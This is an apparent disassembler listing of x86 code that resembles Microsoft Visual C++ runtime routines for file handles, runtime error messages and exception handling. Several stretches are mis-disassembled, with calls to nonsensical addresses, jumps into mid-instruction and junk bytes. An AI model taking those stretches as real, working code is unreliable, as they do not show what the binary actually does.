; ---------------------------------------------------------------------------


loc_41CD03:				; CODE XREF: seg000:0041CCE9j
		add	edi, 4
		cmp	ds:dword_46A880, esi
		jl	short loc_41CCC9
		jmp	short loc_41CD16
; ---------------------------------------------------------------------------


loc_41CD10:				; CODE XREF: seg000:0041CCD6j
		mov	esi, ds:dword_46A880


loc_41CD16:				; CODE XREF: seg000:0041CCC2j
					; seg000:0041CD0Ej
		xor	edi, edi
		test	esi, esi
		jle	short loc_41CD62


loc_41CD1C:				; CODE XREF: seg000:0041CD60j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41CD59
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41CD59
		test	cl, 8
		jnz	short near ptr loc_41CD36+5
		push	eax
		call	near ptr 0F01C6C68h


loc_41CD36:				; CODE XREF: seg000:0041CD2Ej
		or	al, [ebp-74E18B40h]
		mov	dword ptr [ebx+5F8C1CFh], 8B1FE183h
		add	al, 85h
		and	byte ptr [edi+48D0046h], 0C8h
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41CD59:				; CODE XREF: seg000:0041CD21j
					; seg000:0041CD29j
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41CD1C


loc_41CD62:				; CODE XREF: seg000:0041CC97j
					; seg000:0041CCA3j ...
		xor	ebx, ebx


loc_41CD64:				; CODE XREF: seg000:0041CDC7j
		mov	eax, ds:dword_46A780
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41CDBF
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41CD7F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41CD89
; ---------------------------------------------------------------------------


loc_41CD7F:				; CODE XREF: seg000:0041CD78j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41CD89:				; CODE XREF: seg000:0041CD7Dj
		push	eax
		call	near ptr 0A5E3F0E7h
		pop	esi
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41CDAE
		push	edi
		call	near ptr 0B0A735A0h
		dec	edi
		test	eax, eax
		jz	short loc_41CDAE
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41CDB4


loc_41CDAE:				; CODE XREF: seg000:0041CD95j
					; seg000:0041CDA0j
		or	byte ptr [esi+4], 40h
		jmp	short loc_41CDC3
; ---------------------------------------------------------------------------


loc_41CDB4:				; CODE XREF: seg000:0041CDACj
		cmp	eax, 3
		jnz	short loc_41CDC3
		or	byte ptr [esi+4], 8
		jmp	short loc_41CDC3
; ---------------------------------------------------------------------------


loc_41CDBF:				; CODE XREF: seg000:0041CD70j
		or	byte ptr [esi+4], 80h


loc_41CDC3:				; CODE XREF: seg000:0041CDB2j
					; seg000:0041CDB7j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41CD64
		push	ds:dword_46A880
		call	near ptr 0AB937D84h
		loope	loc_41CE35
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDE8	proc near		; DATA XREF: seg000:00417AE2o
					; sub_41A67A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41CE88
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41CE1B:				; CODE XREF: sub_41CDE8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CE81
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CE6F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi


loc_41CE35:				; CODE XREF: seg000:0041CDD4j
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41CE6F
		js	short loc_41CE7A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416348
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41638A
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41641E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41CE6F:				; CODE XREF: sub_41CDE8+40j
					; sub_41CDE8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41CE1B
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CDE8+54j
		mov	eax, 0
		jmp	short loc_41CE9D
; ---------------------------------------------------------------------------


loc_41CE81:				; CODE XREF: sub_41CDE8+36j
		mov	eax, 1
		jmp	short loc_41CE9D
; ---------------------------------------------------------------------------


loc_41CE88:				; CODE XREF: sub_41CDE8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41638A
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41CE9D:				; CODE XREF: sub_41CDE8+97j
					; sub_41CDE8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CDE8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41638A
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41CEC0	proc near		; CODE XREF: sub_417BCE+9p
					; sub_417BF3+9p
		mov	eax, ds:dword_4694B8
		cmp	eax, 1
		jz	short loc_41CED7
		test	eax, eax
		jnz	short locret_41CEF8
		cmp	ds:dword_437D34, 1
		jnz	short locret_41CEF8


loc_41CED7:				; CODE XREF: sub_41CEC0+8j
		push	0FCh
		call	sub_41CEF9
		mov	eax, ds:dword_469620
		pop	ecx
		test	eax, eax
		jz	short loc_41CEED
		call	eax


loc_41CEED:				; CODE XREF: sub_41CEC0+29j
		push	0FFh
		call	sub_41CEF9
		pop	ecx

locret_41CEF8:				; CODE XREF: sub_41CEC0+Cj
					; sub_41CEC0+15j
		retn
sub_41CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEF9	proc near		; CODE XREF: sub_417BCE+12p
					; sub_417BF3+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4383A8


loc_41CF0C:				; CODE XREF: sub_41CEF9+20j
		cmp	edx, [eax]
		jz	short loc_41CF1B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_438438
		jl	short loc_41CF0C


loc_41CF1B:				; CODE XREF: sub_41CEF9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_4383A8[esi]
		jnz	loc_41D049
		mov	eax, ds:dword_4694B8
		cmp	eax, 1
		jz	loc_41D023
		test	eax, eax
		jnz	short loc_41CF4C
		cmp	ds:dword_437D34, 1
		jz	loc_41D023


loc_41CF4C:				; CODE XREF: sub_41CEF9+44j
		cmp	edx, 0FCh
		jz	loc_41D049
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 398FC20Ch
		pop	ss
		test	eax, eax
		jnz	short loc_41CF83
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx


loc_41CF83:				; CODE XREF: sub_41CEF9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415CD0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41CFC6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415CD0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D20
		add	esp, 10h


loc_41CFC6:				; CODE XREF: sub_41CEF9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415BE0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415BF0
		lea	eax, [ebp+var_A0]
		push	offset asc_421B40 ; "\n\n"
		push	eax
		call	sub_415BF0
		push	ds:off_4383AC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415BF0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41E6CE
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D049
; ---------------------------------------------------------------------------


loc_41D023:				; CODE XREF: sub_41CEF9+3Cj
					; sub_41CEF9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4383AC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415CD0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 5E6FC831h
		out	50h, eax
		call	near ptr 0C3866B44h
		cwde


loc_41D049:				; CODE XREF: sub_41CEF9+2Ej
					; sub_41CEF9+59j ...
		pop	esi
		leave
		retn
sub_41CEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D04C	proc near		; CODE XREF: sub_417C17+6Cp
					; sub_41B890+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_469624
		push	1000h
		call	sub_415DA9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D075
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D086
; ---------------------------------------------------------------------------


loc_41D075:				; CODE XREF: sub_41D04C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D086:				; CODE XREF: sub_41D04C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D04C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D090	proc near		; CODE XREF: sub_417C17+61p
					; sub_418796+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A880
		jb	short loc_41D09F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D09F:				; CODE XREF: sub_41D090+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A780[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D090	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B6	proc near		; DATA XREF: seg002:00423020o
		mov	eax, ds:dword_46A760
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D0CA
		mov	eax, 200h
		jmp	short loc_41D0D0
; ---------------------------------------------------------------------------


loc_41D0CA:				; CODE XREF: sub_41D0B6+Bj
		cmp	eax, esi
		jge	short loc_41D0D5
		mov	eax, esi


loc_41D0D0:				; CODE XREF: sub_41D0B6+12j
		mov	ds:dword_46A760, eax


loc_41D0D5:				; CODE XREF: sub_41D0B6+16j
		push	4
		push	eax
		call	sub_41E757
		pop	ecx
		mov	ds:dword_469750, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D109
		push	4
		push	esi
		mov	ds:dword_46A760, esi
		call	sub_41E757
		pop	ecx
		mov	ds:dword_469750, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D109
		push	1Ah
		call	sub_417BCE
		pop	ecx


loc_41D109:				; CODE XREF: sub_41D0B6+30j
					; sub_41D0B6+49j
		xor	ecx, ecx
		mov	eax, offset off_438438


loc_41D110:				; CODE XREF: sub_41D0B6+6Ej
		mov	edx, ds:dword_469750
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4386B8
		jl	short loc_41D110
		xor	edx, edx
		mov	ecx, offset dword_438448


loc_41D12D:				; CODE XREF: sub_41D0B6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_46A780[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D14A
		test	eax, eax
		jnz	short loc_41D14D


loc_41D14A:				; CODE XREF: sub_41D0B6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41D14D:				; CODE XREF: sub_41D0B6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4384A8
		jl	short loc_41D12D
		pop	esi
		retn
sub_41D0B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D15B	proc near		; DATA XREF: seg002:00423030o

; FUNCTION CHUNK AT 0041E7D4 SIZE 00000058 BYTES

		call	sub_418720
		cmp	ds:byte_4694A4,	0
		jz	short locret_41D16E
		jmp	loc_41E7D4
; ---------------------------------------------------------------------------

locret_41D16E:				; CODE XREF: sub_41D15B+Cj
		retn
sub_41D15B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D16F	proc near		; CODE XREF: sub_417D2C+2D4p
					; sub_417D2C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D17B
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D17B:				; CODE XREF: sub_41D16F+8j
		cmp	ds:dword_4694F8, 0
		jnz	short loc_41D196
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D1C8
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D196:				; CODE XREF: sub_41D16F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_437F4C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_469508
		call	ds:dword_421138
		test	eax, eax
		jz	short loc_41D1C8
		cmp	[ebp+arg_0], 0
		jz	short loc_41D1D5


loc_41D1C8:				; CODE XREF: sub_41D16F+1Ej
					; sub_41D16F+51j
		mov	ds:dword_469464, 2Ah
		or	eax, 0FFFFFFFFh


loc_41D1D5:				; CODE XREF: sub_41D16F+57j
		pop	ebp
		retn
sub_41D16F	endp

; ---------------------------------------------------------------------------


loc_41D1D7:				; CODE XREF: sub_418536+5Ep
					; sub_41C1DF+9Ap
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421B80
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_469628
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D246
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421870
		push	esi
		call	ds:dword_421028
		test	eax, eax
		jz	short loc_41D224
		mov	eax, esi
		jmp	short loc_41D241
; ---------------------------------------------------------------------------


loc_41D224:				; CODE XREF: seg000:0041D21Ej
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_438FA4
		push	esi
		push	ebx
		call	near ptr 9B0BFB2Dh
		jmp	far ptr	0CEh:840FC085h
; ---------------------------------------------------------------------------
		dd 26A0000h
; ---------------------------------------------------------------------------
		pop	eax


loc_41D241:				; CODE XREF: seg000:0041D222j
		mov	ds:dword_469628, eax


loc_41D246:				; CODE XREF: seg000:0041D206j
		cmp	eax, 2
		jnz	short near ptr loc_41D26E+1
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_41D257
		mov	eax, ds:dword_4694F8


loc_41D257:				; CODE XREF: seg000:0041D250j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 227F363Dh
		mov	ecx, 9FE9h


loc_41D26E:				; CODE XREF: seg000:0041D249j
		add	[ebx-7AF0FE08h], al
		xchg	eax, esp
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		cmp	[ebp+18h], ebx
		jnz	short loc_41D285
		mov	eax, ds:dword_469508
		mov	[ebp+18h], eax


loc_41D285:				; CODE XREF: seg000:0041D27Bj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_421064
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_41D30C
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415550
		add	esp, 0Ch
		jmp	short loc_41D2DB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_41D2DB:				; CODE XREF: seg000:0041D2CEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D30C
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_421064
		cmp	eax, ebx
		jz	short loc_41D30C
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_421028
		jmp	short loc_41D30E
; ---------------------------------------------------------------------------


loc_41D30C:				; CODE XREF: seg000:0041D2A7j
					; seg000:0041D2E1j ...
		xor	eax, eax


loc_41D30E:				; CODE XREF: seg000:0041D30Aj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D320	proc near		; CODE XREF: sub_41D53A:loc_41D6B2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46A780


loc_41D32F:				; CODE XREF: sub_41D320+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41D36C
		lea	edx, [eax+100h]


loc_41D33B:				; CODE XREF: sub_41D320+28j
		cmp	eax, edx
		jnb	short loc_41D35B
		test	byte ptr [eax+4], 1
		jz	short loc_41D34A
		add	eax, 8
		jmp	short loc_41D33B
; ---------------------------------------------------------------------------


loc_41D34A:				; CODE XREF: sub_41D320+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D3AF


loc_41D35B:				; CODE XREF: sub_41D320+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46A880
		jl	short loc_41D32F
		jmp	short loc_41D3AF
; ---------------------------------------------------------------------------


loc_41D36C:				; CODE XREF: sub_41D320+13j
		mov	esi, 100h
		push	esi
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		jz	short loc_41D3AF
		add	ds:dword_46A880, 20h
		lea	ecx, ds:46A780h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41D392:				; CODE XREF: sub_41D320+88j
		cmp	eax, edx
		jnb	short loc_41D3AA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41D392
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D320+74j
		shl	edi, 5
		mov	ebx, edi


loc_41D3AF:				; CODE XREF: sub_41D320+39j
					; sub_41D320+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D320	endp

; ---------------------------------------------------------------------------


loc_41D3B5:				; CODE XREF: sub_41D53A+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, ds:dword_46A880
		push	edi
		jnb	short loc_41D415
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A780h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41D415
		cmp	ds:dword_437D34, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_41D40A+1
		sub	eax, 0
		jz	short loc_41D402
		dec	eax
		jz	short loc_41D3FD
		dec	eax
		jnz	short near ptr loc_41D40A+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41D405
; ---------------------------------------------------------------------------


loc_41D3FD:				; CODE XREF: seg000:0041D3F3j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41D405
; ---------------------------------------------------------------------------


loc_41D402:				; CODE XREF: seg000:0041D3F0j
		push	ebx
		push	0FFFFFFF6h


loc_41D405:				; CODE XREF: seg000:0041D3FBj
					; seg000:0041D400j
		call	near ptr 4D7FFA7Dh


loc_41D40A:				; CODE XREF: seg000:0041D3EBj
					; seg000:0041D3F6j
		ror	byte ptr [ebx+301C8907h], cl
		xor	eax, eax
		pop	ebx
		jmp	short loc_41D429
; ---------------------------------------------------------------------------


loc_41D415:				; CODE XREF: seg000:0041D3C1j
					; seg000:0041D3DDj
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9
		or	eax, 0FFFFFFFFh


loc_41D429:				; CODE XREF: seg000:0041D413j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D42C:				; CODE XREF: sub_4185AB+7Cp
		mov	ecx, [esp+4]
		push	esi
		cmp	ecx, ds:dword_46A880
		push	edi
		jnb	short loc_41D48F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46A780h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41D48F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41D48F
		cmp	ds:dword_437D34, 1
		jnz	short near ptr loc_41D484+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41D47C
		dec	ecx
		jz	short loc_41D477
		dec	ecx
		jnz	short near ptr loc_41D484+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41D47F
; ---------------------------------------------------------------------------


loc_41D477:				; CODE XREF: seg000:0041D46Dj
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41D47F
; ---------------------------------------------------------------------------


loc_41D47C:				; CODE XREF: seg000:0041D46Aj
		push	eax
		push	0FFFFFFF6h


loc_41D47F:				; CODE XREF: seg000:0041D475j
					; seg000:0041D47Aj
		call	near ptr 89D4A89Fh


loc_41D484:				; CODE XREF: seg000:0041D464j
					; seg000:0041D470j
		mov	al, ds:0C83078Bh
		xor	bh, bh
		xor	eax, eax
		jmp	short loc_41D4A3
; ---------------------------------------------------------------------------


loc_41D48F:				; CODE XREF: seg000:0041D438j
					; seg000:0041D456j ...
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9
		or	eax, 0FFFFFFFFh


loc_41D4A3:				; CODE XREF: seg000:0041D48Dj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D4A6	proc near		; CODE XREF: sub_4185AB+32p
					; sub_4185AB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A880
		jnb	short loc_41D4CE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A780[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41D4CE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41D4CE:				; CODE XREF: sub_41D4A6+Aj
					; sub_41D4A6+23j
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41D4A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4E3	proc near		; CODE XREF: sub_418689+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A880
		jnb	short loc_41D52C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_46A780[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41D52C
		push	eax
		call	sub_41D4A6
		pop	ecx
		push	eax
		call	near ptr 89A2A9BEh
		rol	dword ptr [ebp-0F78A40h], 1
		adc	eax, offset dword_421088
		jmp	short loc_41D523
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41D523:				; CODE XREF: sub_41D4E3+3Cj
		test	eax, eax
		jz	short locret_41D539
		mov	ds:dword_469468, eax


loc_41D52C:				; CODE XREF: sub_41D4E3+Aj
					; sub_41D4E3+22j
		mov	ds:dword_469464, 9
		or	eax, 0FFFFFFFFh

locret_41D539:				; CODE XREF: sub_41D4E3+42j
		retn
sub_41D4E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D53A	proc near		; CODE XREF: sub_418860+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_561B75B8	= byte ptr  561B75C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41D560
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41D56B
; ---------------------------------------------------------------------------


loc_41D560:				; CODE XREF: sub_41D53A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41D56B:				; CODE XREF: sub_41D53A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41D585
		test	ch, 40h
		jnz	short loc_41D581
		cmp	ds:dword_469730, eax
		jz	short loc_41D585


loc_41D581:				; CODE XREF: sub_41D53A+3Dj
		or	[ebp+var_1], 80h


loc_41D585:				; CODE XREF: sub_41D53A+38j
					; sub_41D53A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41D5BD
		dec	eax
		jz	short loc_41D5B4
		dec	eax
		jz	short loc_41D5AB


loc_41D596:				; CODE XREF: sub_41D53A+9Fj
					; sub_41D53A+E8j ...
		mov	ds:dword_469464, 16h
		mov	ds:dword_469468, ebx
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------


loc_41D5AB:				; CODE XREF: sub_41D53A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41D5C4
; ---------------------------------------------------------------------------


loc_41D5B4:				; CODE XREF: sub_41D53A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41D5C4
; ---------------------------------------------------------------------------


loc_41D5BD:				; CODE XREF: sub_41D53A+54j
		mov	[ebp+var_C], 80000000h


loc_41D5C4:				; CODE XREF: sub_41D53A+78j
					; sub_41D53A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41D5F2
		cmp	eax, 20h
		jz	short loc_41D5E9
		cmp	eax, 30h
		jz	short loc_41D5E0
		cmp	eax, 40h
		jnz	short loc_41D596
		mov	[ebp+var_10], esi
		jmp	short loc_41D5F5
; ---------------------------------------------------------------------------


loc_41D5E0:				; CODE XREF: sub_41D53A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41D5F5
; ---------------------------------------------------------------------------


loc_41D5E9:				; CODE XREF: sub_41D53A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41D5F5
; ---------------------------------------------------------------------------


loc_41D5F2:				; CODE XREF: sub_41D53A+90j
		mov	[ebp+var_10], ebx


